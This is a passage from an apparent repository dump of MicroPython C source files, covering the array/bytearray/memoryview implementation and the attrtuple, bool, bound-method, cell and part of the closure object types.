MP_BINARY_OP_IN: {\n            /* NOTE `a in b` is `b.__contains__(a)` */\n            mp_buffer_info_t lhs_bufinfo;\n            mp_buffer_info_t rhs_bufinfo;\n\n            // Can search string only in bytearray\n            if (mp_get_buffer(rhs_in, &rhs_bufinfo, MP_BUFFER_READ)) {\n                if (!MP_OBJ_IS_TYPE(lhs_in, &mp_type_bytearray)) {\n                    return mp_const_false;\n                }\n                array_get_buffer(lhs_in, &lhs_bufinfo, MP_BUFFER_READ);\n                return mp_obj_new_bool(\n                    find_subbytes(lhs_bufinfo.buf, lhs_bufinfo.len, rhs_bufinfo.buf, rhs_bufinfo.len, 1) != NULL);\n            }\n\n            // Otherwise, can only look for a scalar numeric value in an array\n            if (MP_OBJ_IS_INT(rhs_in) || mp_obj_is_float(rhs_in)) {\n                mp_raise_NotImplementedError(\"\");\n            }\n\n            return mp_const_false;\n        }\n\n        case MP_BINARY_OP_EQUAL: {\n            mp_buffer_info_t lhs_bufinfo;\n            mp_buffer_info_t rhs_bufinfo;\n            array_get_buffer(lhs_in, &lhs_bufinfo, MP_BUFFER_READ);\n            if (!mp_get_buffer(rhs_in, &rhs_bufinfo, MP_BUFFER_READ)) {\n                return mp_const_false;\n            }\n            return mp_obj_new_bool(mp_seq_cmp_bytes(op, lhs_bufinfo.buf, lhs_bufinfo.len, rhs_bufinfo.buf, rhs_bufinfo.len));\n        }\n\n        default:\n            return MP_OBJ_NULL; // op not supported\n    }\n}\n\n#if MICROPY_PY_BUILTINS_BYTEARRAY || MICROPY_PY_ARRAY\nSTATIC mp_obj_t array_append(mp_obj_t self_in, mp_obj_t arg) {\n    // self is not a memoryview, so we don't need to use (& TYPECODE_MASK)\n    assert((MICROPY_PY_BUILTINS_BYTEARRAY && MP_OBJ_IS_TYPE(self_in, &mp_type_bytearray))\n        || (MICROPY_PY_ARRAY && MP_OBJ_IS_TYPE(self_in, &mp_type_array)));\n    mp_obj_array_t *self = MP_OBJ_TO_PTR(self_in);\n\n    if (self->free == 0) {\n        size_t item_sz = mp_binary_get_size('@', self->typecode, NULL);\n        // TODO: alloc policy\n        self->free = 8;\n        self->items = m_renew(byte, self->items, item_sz * self->len, item_sz * (self->len + self->free));\n        mp_seq_clear(self->items, self->len + 1, self->len + self->free, item_sz);\n    }\n    mp_binary_set_val_array(self->typecode, self->items, self->len, arg);\n    // only update length/free if set succeeded\n    self->len++;\n    self->free--;\n    return mp_const_none; // return None, as per CPython\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(array_append_obj, array_append);\n\nSTATIC mp_obj_t array_extend(mp_obj_t self_in, mp_obj_t arg_in) {\n    // self is not a memoryview, so we don't need to use (& TYPECODE_MASK)\n    assert((MICROPY_PY_BUILTINS_BYTEARRAY && MP_OBJ_IS_TYPE(self_in, &mp_type_bytearray))\n        || (MICROPY_PY_ARRAY && MP_OBJ_IS_TYPE(self_in, &mp_type_array)));\n    mp_obj_array_t *self = MP_OBJ_TO_PTR(self_in);\n\n    // allow to extend by anything that has the buffer protocol (extension to CPython)\n    mp_buffer_info_t arg_bufinfo;\n    mp_get_buffer_raise(arg_in, &arg_bufinfo, MP_BUFFER_READ);\n\n    size_t sz = mp_binary_get_size('@', self->typecode, NULL);\n\n    // convert byte count to element count\n    size_t len = arg_bufinfo.len / sz;\n\n    // make sure we have enough room to extend\n    // TODO: alloc policy; at the moment we go conservative\n    if (self->free < len) {\n        self->items = m_renew(byte, self->items, (self->len + self->free) * sz, (self->len + len) * sz);\n        self->free = 0;\n    } else {\n        self->free -= len;\n    }\n\n    // extend\n    mp_seq_copy((byte*)self->items + self->len * sz, arg_bufinfo.buf, len * sz, byte);\n    self->len += len;\n\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(array_extend_obj, array_extend);\n#endif\n\nSTATIC mp_obj_t array_subscr(mp_obj_t self_in, mp_obj_t index_in, mp_obj_t value) {\n    if (value == MP_OBJ_NULL) {\n        // delete item\n        // TODO implement\n        // TODO: confirmed that both bytearray and array.array support\n        // slice deletion\n        return MP_OBJ_NULL; // op not supported\n    } else {\n        mp_obj_array_t *o = MP_OBJ_TO_PTR(self_in);\n        if (0) {\n#if MICROPY_PY_BUILTINS_SLICE\n        } else if (MP_OBJ_IS_TYPE(index_in, &mp_type_slice)) {\n            mp_bound_slice_t slice;\n            if (!mp_seq_get_fast_slice_indexes(o->len, index_in, &slice)) {\n                mp_raise_NotImplementedError(\"only slices with step=1 (aka None) are supported\");\n            }\n            if (value != MP_OBJ_SENTINEL) {\n                #if MICROPY_PY_ARRAY_SLICE_ASSIGN\n                // Assign\n                size_t src_len;\n                void *src_items;\n                size_t item_sz = mp_binary_get_size('@', o->typecode & TYPECODE_MASK, NULL);\n                if (MP_OBJ_IS_OBJ(value) && ((mp_obj_base_t*)MP_OBJ_TO_PTR(value))->type->subscr == array_subscr) {\n                    // value is array, bytearray or memoryview\n                    mp_obj_array_t *src_slice = MP_OBJ_TO_PTR(value);\n                    if (item_sz != mp_binary_get_size('@', src_slice->typecode & TYPECODE_MASK, NULL)) {\n                    compat_error:\n                        mp_raise_ValueError(\"lhs and rhs should be compatible\");\n                    }\n                    src_len = src_slice->len;\n                    src_items = src_slice->items;\n                    #if MICROPY_PY_BUILTINS_MEMORYVIEW\n                    if (MP_OBJ_IS_TYPE(value, &mp_type_memoryview)) {\n                        src_items = (uint8_t*)src_items + (src_slice->free * item_sz);\n                    }\n                    #endif\n                } else if (MP_OBJ_IS_TYPE(value, &mp_type_bytes)) {\n                    if (item_sz != 1) {\n                        goto compat_error;\n                    }\n                    mp_buffer_info_t bufinfo;\n                    mp_get_buffer_raise(value, &bufinfo, MP_BUFFER_READ);\n                    src_len = bufinfo.len;\n                    src_items = bufinfo.buf;\n                } else {\n                    mp_raise_NotImplementedError(\"array/bytes required on right side\");\n                }\n\n                // TODO: check src/dst compat\n                mp_int_t len_adj = src_len - (slice.stop - slice.start);\n                uint8_t* dest_items = o->items;\n                #if MICROPY_PY_BUILTINS_MEMORYVIEW\n                if (o->base.type == &mp_type_memoryview) {\n                    if ((o->typecode & 0x80) == 0) {\n                        // store to read-only memoryview not allowed\n                        return MP_OBJ_NULL;\n                    }\n                    if (len_adj != 0) {\n                        goto compat_error;\n                    }\n                    dest_items += o->free * item_sz;\n                }\n                #endif\n                if (len_adj > 0) {\n                    if (len_adj > o->free) {\n                        // TODO: alloc policy; at the moment we go conservative\n                        o->items = m_renew(byte, o->items, (o->len + o->free) * item_sz, (o->len + len_adj) * item_sz);\n                        o->free = 0;\n                        dest_items = o->items;\n                    }\n                    mp_seq_replace_slice_grow_inplace(dest_items, o->len,\n                        slice.start, slice.stop, src_items, src_len, len_adj, item_sz);\n                } else {\n                    mp_seq_replace_slice_no_grow(dest_items, o->len,\n                        slice.start, slice.stop, src_items, src_len, item_sz);\n                    // Clear \"freed\" elements at the end of list\n                    // TODO: This is actually only needed for typecode=='O'\n                    mp_seq_clear(dest_items, o->len + len_adj, o->len, item_sz);\n                    // TODO: alloc policy after shrinking\n                }\n                o->len += len_adj;\n                return mp_const_none;\n                #else\n                return MP_OBJ_NULL; // op not supported\n                #endif\n            }\n\n            mp_obj_array_t *res;\n            size_t sz = mp_binary_get_size('@', o->typecode & TYPECODE_MASK, NULL);\n            assert(sz > 0);\n            if (0) {\n                // dummy\n            #if MICROPY_PY_BUILTINS_MEMORYVIEW\n            } else if (o->base.type == &mp_type_memoryview) {\n                res = m_new_obj(mp_obj_array_t);\n                *res = *o;\n                res->free += slice.start;\n                res->len = slice.stop - slice.start;\n            #endif\n            } else {\n                res = array_new(o->typecode, slice.stop - slice.start);\n                memcpy(res->items, (uint8_t*)o->items + slice.start * sz, (slice.stop - slice.start) * sz);\n            }\n            return MP_OBJ_FROM_PTR(res);\n#endif\n        } else {\n            size_t index = mp_get_index(o->base.type, o->len, index_in, false);\n            #if MICROPY_PY_BUILTINS_MEMORYVIEW\n            if (o->base.type == &mp_type_memoryview) {\n                index += o->free;\n                if (value != MP_OBJ_SENTINEL && (o->typecode & 0x80) == 0) {\n                    // store to read-only memoryview\n                    return MP_OBJ_NULL;\n                }\n            }\n            #endif\n            if (value == MP_OBJ_SENTINEL) {\n                // load\n                return mp_binary_get_val_array(o->typecode & TYPECODE_MASK, o->items, index);\n            } else {\n                // store\n                mp_binary_set_val_array(o->typecode & TYPECODE_MASK, o->items, index, value);\n                return mp_const_none;\n            }\n        }\n    }\n}\n\nSTATIC mp_int_t array_get_buffer(mp_obj_t o_in, mp_buffer_info_t *bufinfo, mp_uint_t flags) {\n    mp_obj_array_t *o = MP_OBJ_TO_PTR(o_in);\n    size_t sz = mp_binary_get_size('@', o->typecode & TYPECODE_MASK, NULL);\n    bufinfo->buf = o->items;\n    bufinfo->len = o->len * sz;\n    bufinfo->typecode = o->typecode & TYPECODE_MASK;\n    #if MICROPY_PY_BUILTINS_MEMORYVIEW\n    if (o->base.type == &mp_type_memoryview) {\n        if ((o->typecode & 0x80) == 0 && (flags & MP_BUFFER_WRITE)) {\n            // read-only memoryview\n            return 1;\n        }\n        bufinfo->buf = (uint8_t*)bufinfo->buf + (size_t)o->free * sz;\n    }\n    #else\n    (void)flags;\n    #endif\n    return 0;\n}\n\n#if MICROPY_PY_BUILTINS_BYTEARRAY || MICROPY_PY_ARRAY\nSTATIC const mp_rom_map_elem_t array_locals_dict_table[] = {\n    { MP_ROM_QSTR(MP_QSTR_append), MP_ROM_PTR(&array_append_obj) },\n    { MP_ROM_QSTR(MP_QSTR_extend), MP_ROM_PTR(&array_extend_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(array_locals_dict, array_locals_dict_table);\n#endif\n\n#if MICROPY_PY_ARRAY\nconst mp_obj_type_t mp_type_array = {\n    { &mp_type_type },\n    .name = MP_QSTR_array,\n    .print = array_print,\n    .make_new = array_make_new,\n    .getiter = array_iterator_new,\n    .unary_op = array_unary_op,\n    .binary_op = array_binary_op,\n    .subscr = array_subscr,\n    .buffer_p = { .get_buffer = array_get_buffer },\n    .locals_dict = (mp_obj_dict_t*)&array_locals_dict,\n};\n#endif\n\n#if MICROPY_PY_BUILTINS_BYTEARRAY\nconst mp_obj_type_t mp_type_bytearray = {\n    { &mp_type_type },\n    .name = MP_QSTR_bytearray,\n    .print = array_print,\n    .make_new = bytearray_make_new,\n    .getiter = array_iterator_new,\n    .unary_op = array_unary_op,\n    .binary_op = array_binary_op,\n    .subscr = array_subscr,\n    .buffer_p = { .get_buffer = array_get_buffer },\n    .locals_dict = (mp_obj_dict_t*)&array_locals_dict,\n};\n#endif\n\n#if MICROPY_PY_BUILTINS_MEMORYVIEW\nconst mp_obj_type_t mp_type_memoryview = {\n    { &mp_type_type },\n    .name = MP_QSTR_memoryview,\n    .make_new = memoryview_make_new,\n    .getiter = array_iterator_new,\n    .unary_op = array_unary_op,\n    .binary_op = array_binary_op,\n    .subscr = array_subscr,\n    .buffer_p = { .get_buffer = array_get_buffer },\n};\n#endif\n\n/* unused\nsize_t mp_obj_array_len(mp_obj_t self_in) {\n    return ((mp_obj_array_t *)self_in)->len;\n}\n*/\n\n#if MICROPY_PY_BUILTINS_BYTEARRAY\nmp_obj_t mp_obj_new_bytearray(size_t n, void *items) {\n    mp_obj_array_t *o = array_new(BYTEARRAY_TYPECODE, n);\n    memcpy(o->items, items, n);\n    return MP_OBJ_FROM_PTR(o);\n}\n\n// Create bytearray which references specified memory area\nmp_obj_t mp_obj_new_bytearray_by_ref(size_t n, void *items) {\n    mp_obj_array_t *o = m_new_obj(mp_obj_array_t);\n    o->base.type = &mp_type_bytearray;\n    o->typecode = BYTEARRAY_TYPECODE;\n    o->free = 0;\n    o->len = n;\n    o->items = items;\n    return MP_OBJ_FROM_PTR(o);\n}\n#endif\n\n/******************************************************************************/\n// array iterator\n\ntypedef struct _mp_obj_array_it_t {\n    mp_obj_base_t base;\n    mp_obj_array_t *array;\n    size_t offset;\n    size_t cur;\n} mp_obj_array_it_t;\n\nSTATIC mp_obj_t array_it_iternext(mp_obj_t self_in) {\n    mp_obj_array_it_t *self = MP_OBJ_TO_PTR(self_in);\n    if (self->cur < self->array->len) {\n        return mp_binary_get_val_array(self->array->typecode & TYPECODE_MASK, self->array->items, self->offset + self->cur++);\n    } else {\n        return MP_OBJ_STOP_ITERATION;\n    }\n}\n\nSTATIC const mp_obj_type_t array_it_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_iterator,\n    .getiter = mp_identity_getiter,\n    .iternext = array_it_iternext,\n};\n\nSTATIC mp_obj_t array_iterator_new(mp_obj_t array_in, mp_obj_iter_buf_t *iter_buf) {\n    assert(sizeof(mp_obj_array_t) <= sizeof(mp_obj_iter_buf_t));\n    mp_obj_array_t *array = MP_OBJ_TO_PTR(array_in);\n    mp_obj_array_it_t *o = (mp_obj_array_it_t*)iter_buf;\n    o->base.type = &array_it_type;\n    o->array = array;\n    o->offset = 0;\n    o->cur = 0;\n    #if MICROPY_PY_BUILTINS_MEMORYVIEW\n    if (array->base.type == &mp_type_memoryview) {\n        o->offset = array->free;\n    }\n    #endif\n    return MP_OBJ_FROM_PTR(o);\n}\n\n#endif // MICROPY_PY_ARRAY || MICROPY_PY_BUILTINS_BYTEARRAY || MICROPY_PY_BUILTINS_MEMORYVIEW\n"
  },
  {
    "path": "micropython/source/py/objattrtuple.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/objtuple.h\"\n\n#if MICROPY_PY_ATTRTUPLE || MICROPY_PY_COLLECTIONS\n\n// this helper function is used by collections.namedtuple\n#if !MICROPY_PY_COLLECTIONS\nSTATIC\n#endif\nvoid mp_obj_attrtuple_print_helper(const mp_print_t *print, const qstr *fields, mp_obj_tuple_t *o) {\n    mp_print_str(print, \"(\");\n    for (size_t i = 0; i < o->len; i++) {\n        if (i > 0) {\n            mp_print_str(print, \", \");\n        }\n        mp_printf(print, \"%q=\", fields[i]);\n        mp_obj_print_helper(print, o->items[i], PRINT_REPR);\n    }\n    mp_print_str(print, \")\");\n}\n\n#endif\n\n#if MICROPY_PY_ATTRTUPLE\n\nSTATIC void mp_obj_attrtuple_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_tuple_t *o = MP_OBJ_TO_PTR(o_in);\n    const qstr *fields = (const qstr*)MP_OBJ_TO_PTR(o->items[o->len]);\n    mp_obj_attrtuple_print_helper(print, fields, o);\n}\n\nSTATIC void mp_obj_attrtuple_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) {\n    if (dest[0] == MP_OBJ_NULL) {\n        // load attribute\n        mp_obj_tuple_t *self = MP_OBJ_TO_PTR(self_in);\n        size_t len = self->len;\n        const qstr *fields = (const qstr*)MP_OBJ_TO_PTR(self->items[len]);\n        for (size_t i = 0; i < len; i++) {\n            if (fields[i] == attr) {\n                dest[0] = self->items[i];\n                return;\n            }\n        }\n    }\n}\n\nmp_obj_t mp_obj_new_attrtuple(const qstr *fields, size_t n, const mp_obj_t *items) {\n    mp_obj_tuple_t *o = m_new_obj_var(mp_obj_tuple_t, mp_obj_t, n + 1);\n    o->base.type = &mp_type_attrtuple;\n    o->len = n;\n    for (size_t i = 0; i < n; i++) {\n        o->items[i] = items[i];\n    }\n    o->items[n] = MP_OBJ_FROM_PTR(fields);\n    return MP_OBJ_FROM_PTR(o);\n}\n\nconst mp_obj_type_t mp_type_attrtuple = {\n    { &mp_type_type },\n    .name = MP_QSTR_tuple, // reuse tuple to save on a qstr\n    .print = mp_obj_attrtuple_print,\n    .unary_op = mp_obj_tuple_unary_op,\n    .binary_op = mp_obj_tuple_binary_op,\n    .attr = mp_obj_attrtuple_attr,\n    .subscr = mp_obj_tuple_subscr,\n    .getiter = mp_obj_tuple_getiter,\n};\n\n#endif // MICROPY_PY_ATTRTUPLE\n"
  },
  {
    "path": "micropython/source/py/objbool.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n\n#include \"py/obj.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n\ntypedef struct _mp_obj_bool_t {\n    mp_obj_base_t base;\n    bool value;\n} mp_obj_bool_t;\n\nSTATIC void bool_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    mp_obj_bool_t *self = MP_OBJ_TO_PTR(self_in);\n    if (MICROPY_PY_UJSON && kind == PRINT_JSON) {\n        if (self->value) {\n            mp_print_str(print, \"true\");\n        } else {\n            mp_print_str(print, \"false\");\n        }\n    } else {\n        if (self->value) {\n            mp_print_str(print, \"True\");\n        } else {\n            mp_print_str(print, \"False\");\n        }\n    }\n}\n\nSTATIC mp_obj_t bool_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    (void)type_in;\n    mp_arg_check_num(n_args, n_kw, 0, 1, false);\n\n    if (n_args == 0) {\n        return mp_const_false;\n    } else {\n        return mp_obj_new_bool(mp_obj_is_true(args[0]));\n    }\n}\n\nSTATIC mp_obj_t bool_unary_op(mp_uint_t op, mp_obj_t o_in) {\n    if (op == MP_UNARY_OP_LEN) {\n        return MP_OBJ_NULL;\n    }\n    mp_obj_bool_t *self = MP_OBJ_TO_PTR(o_in);\n    return mp_unary_op(op, MP_OBJ_NEW_SMALL_INT(self->value));\n}\n\nSTATIC mp_obj_t bool_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) {\n    mp_obj_bool_t *self = MP_OBJ_TO_PTR(lhs_in);\n    return mp_binary_op(op, MP_OBJ_NEW_SMALL_INT(self->value), rhs_in);\n}\n\nconst mp_obj_type_t mp_type_bool = {\n    { &mp_type_type },\n    .name = MP_QSTR_bool,\n    .print = bool_print,\n    .make_new = bool_make_new,\n    .unary_op = bool_unary_op,\n    .binary_op = bool_binary_op,\n};\n\nconst mp_obj_bool_t mp_const_false_obj = {{&mp_type_bool}, false};\nconst mp_obj_bool_t mp_const_true_obj = {{&mp_type_bool}, true};\n"
  },
  {
    "path": "micropython/source/py/objboundmeth.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n\n#include \"py/obj.h\"\n#include \"py/runtime.h\"\n\ntypedef struct _mp_obj_bound_meth_t {\n    mp_obj_base_t base;\n    mp_obj_t meth;\n    mp_obj_t self;\n} mp_obj_bound_meth_t;\n\n#if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED\nSTATIC void bound_meth_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_bound_meth_t *o = MP_OBJ_TO_PTR(o_in);\n    mp_printf(print, \"<bound_method %p \", o);\n    mp_obj_print_helper(print, o->self, PRINT_REPR);\n    mp_print_str(print, \".\");\n    mp_obj_print_helper(print, o->meth, PRINT_REPR);\n    mp_print_str(print, \">\");\n}\n#endif\n\nmp_obj_t mp_call_method_self_n_kw(mp_obj_t meth, mp_obj_t self, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    // need to insert self before all other args and then call meth\n    size_t n_total = n_args + 2 * n_kw;\n    mp_obj_t *args2 = NULL;\n    mp_obj_t *free_args2 = NULL;\n    if (n_total > 4) {\n        // try to use heap to allocate temporary args array\n        args2 = m_new_maybe(mp_obj_t, 1 + n_total);\n        free_args2 = args2;\n    }\n    if (args2 == NULL) {\n        // (fallback to) use stack to allocate temporary args array\n        args2 = alloca(sizeof(mp_obj_t) * (1 + n_total));\n    }\n    args2[0] = self;\n    memcpy(args2 + 1, args, n_total * sizeof(mp_obj_t));\n    mp_obj_t res = mp_call_function_n_kw(meth, n_args + 1, n_kw, args2);\n    if (free_args2 != NULL) {\n        m_del(mp_obj_t, free_args2, 1 + n_total);\n    }\n    return res;\n}\n\nSTATIC mp_obj_t bound_meth_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_obj_bound_meth_t *self = MP_OBJ_TO_PTR(self_in);\n    return mp_call_method_self_n_kw(self->meth, self->self, n_args, n_kw, args);\n}\n\n#if MICROPY_PY_FUNCTION_ATTRS\nSTATIC void bound_meth_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) {\n    if (dest[0] != MP_OBJ_NULL) {\n        // not load attribute\n        return;\n    }\n    if (attr == MP_QSTR___name__) {\n        mp_obj_bound_meth_t *o = MP_OBJ_TO_PTR(self_in);\n        dest[0] = MP_OBJ_NEW_QSTR(mp_obj_fun_get_name(o->meth));\n    }\n}\n#endif\n\nSTATIC const mp_obj_type_t mp_type_bound_meth = {\n    { &mp_type_type },\n    .name = MP_QSTR_bound_method,\n#if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED\n    .print = bound_meth_print,\n#endif\n    .call = bound_meth_call,\n#if MICROPY_PY_FUNCTION_ATTRS\n    .attr = bound_meth_attr,\n#endif\n};\n\nmp_obj_t mp_obj_new_bound_meth(mp_obj_t meth, mp_obj_t self) {\n    mp_obj_bound_meth_t *o = m_new_obj(mp_obj_bound_meth_t);\n    o->base.type = &mp_type_bound_meth;\n    o->meth = meth;\n    o->self = self;\n    return MP_OBJ_FROM_PTR(o);\n}\n"
  },
  {
    "path": "micropython/source/py/objcell.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/obj.h\"\n\ntypedef struct _mp_obj_cell_t {\n    mp_obj_base_t base;\n    mp_obj_t obj;\n} mp_obj_cell_t;\n\nmp_obj_t mp_obj_cell_get(mp_obj_t self_in) {\n    mp_obj_cell_t *self = MP_OBJ_TO_PTR(self_in);\n    return self->obj;\n}\n\nvoid mp_obj_cell_set(mp_obj_t self_in, mp_obj_t obj) {\n    mp_obj_cell_t *self = MP_OBJ_TO_PTR(self_in);\n    self->obj = obj;\n}\n\n#if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED\nSTATIC void cell_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_cell_t *o = MP_OBJ_TO_PTR(o_in);\n    mp_printf(print, \"<cell %p \", o->obj);\n    if (o->obj == MP_OBJ_NULL) {\n        mp_print_str(print, \"(nil)\");\n    } else {\n        mp_obj_print_helper(print, o->obj, PRINT_REPR);\n    }\n    mp_print_str(print, \">\");\n}\n#endif\n\nSTATIC const mp_obj_type_t mp_type_cell = {\n    { &mp_type_type },\n    .name = MP_QSTR_, // cell representation is just value in < >\n#if MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_DETAILED\n    .print = cell_print,\n#endif\n};\n\nmp_obj_t mp_obj_new_cell(mp_obj_t obj) {\n    mp_obj_cell_t *o = m_new_obj(mp_obj_cell_t);\n    o->base.type = &mp_type_cell;\n    o->obj = obj;\n    return MP_OBJ_FROM_PTR(o);\n}\n"
  },
  {
    "path": "micropython/source/py/objclosure.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n\n#include \"py/obj.h\"\n#include \"py/runtime.h\"\n\ntypedef struct _mp_obj_closure_t {\n    mp_obj_base_t base;\n    mp_obj_t fun;\n    size_t n_closed;\n    mp_obj_t closed[];\n} mp_obj_closure_t;\n\nSTATIC mp_obj_t closure_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_obj_closure_t *self = MP_OBJ_TO_PTR(self_in);\n\n    // need to concatenate closed-over-vars and args\n\n    size_t n_total = self->n_closed + n_args + 2 * n_kw;\n    if (n_total <= 5) {\n        // use stack to allocate temporary args array\n        mp_obj_t args2[5];\n        memcpy(args2, self->closed, self->n_closed * sizeof(mp_obj_t));\n        memcpy(args2 + self->n_closed, args, (n_args + 2 * n_kw) * sizeof(mp_obj_t));\n        return mp_call_function_n_kw(self->fun, self->n_closed + n_args, n_kw, args2);\n    } else {\n        // use heap to allocate temporary args array\n        mp_obj_t *args2 = m_new(mp_obj_t, n_total);\n        memcpy(args2, self->closed, self->n_closed * sizeof(mp_obj_t));\n        memcpy(args2 + self->n_closed, 